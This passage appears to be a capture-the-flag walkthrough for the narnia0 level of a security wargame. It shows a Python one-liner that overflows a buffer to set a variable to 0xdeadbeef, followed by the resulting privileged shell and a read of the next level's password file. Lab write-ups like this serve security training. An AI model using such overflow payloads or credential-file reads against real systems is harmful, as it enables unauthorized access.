We can use python to generate such a sequence: pay attention to the ssh client character encoding that can mess up the output

Then copy the output and submit to narnia0, executing narnia0 directly from the bash shell.
it looks like that passing python output to narnia0 via pipe doesn't work correctly...


narnia0@narnia:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde" + "AAAA"'
AAAAAAAAAAAAAAAAAAAAï¾­ÞAAAA
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAï¾­ÞAAAA
buf: AAAAAAAAAAAAAAAAAAAAï¾­Þ
val: 0xdeadbeef
$ id
uid=14001(narnia1) gid=14000(narnia0) groups=14000(narnia0)
$ cat /etc/narnia_pass/narnia1
e********e
$